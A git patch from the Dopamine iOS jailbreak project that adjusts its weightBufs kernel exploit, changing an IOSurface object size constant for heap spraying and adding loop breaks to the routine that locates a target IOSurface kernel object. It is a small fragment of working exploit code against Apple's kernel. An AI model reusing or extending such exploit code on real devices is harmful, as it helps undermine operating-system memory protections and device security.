From 482a7023eb5030115e15a59441b7b8b1f7caf5eb Mon Sep 17 00:00:00 2001 From: opa334 Date: Wed, 12 Jun 2024 15:53:23 +0200 Subject: [PATCH] Improve some stuff in weightBufs --- Application/Dopamine/Exploits/weightBufs/exploit/exploit.h | 2 +- Application/Dopamine/Exploits/weightBufs/exploit/exploit.m | 3 ++- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h index c7412b3ba..ac7d0a414 100644 --- a/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h +++ b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.h @@ -37,7 +37,7 @@ #else #define MAX_PROGRAMS 5 -#define IOSURFACE_OBJ_SIZE 0x430 +#define IOSURFACE_OBJ_SIZE 0x8 #define MAX_SHMEMS 0x2000 #endif /* TARGET_OS_OSX */ diff --git a/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m index ce46c3c28..ee46a96f9 100644 --- a/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m +++ b/Application/Dopamine/Exploits/weightBufs/exploit/exploit.m @@ -1154,9 +1154,10 @@ bool get_target_surface(u64 *kaddr_target) printf("[+] Found a matching surface-id=0x%04x IOSurface=0x%llx ! \n", matched.surface_id, matched.IOSurface_loc); + break; } } - /* if(matched.surface_id) break; */ + if(matched.surface_id) break; } /* assert(matched.surface_id && "Unable to find a suitable IOSurface"); */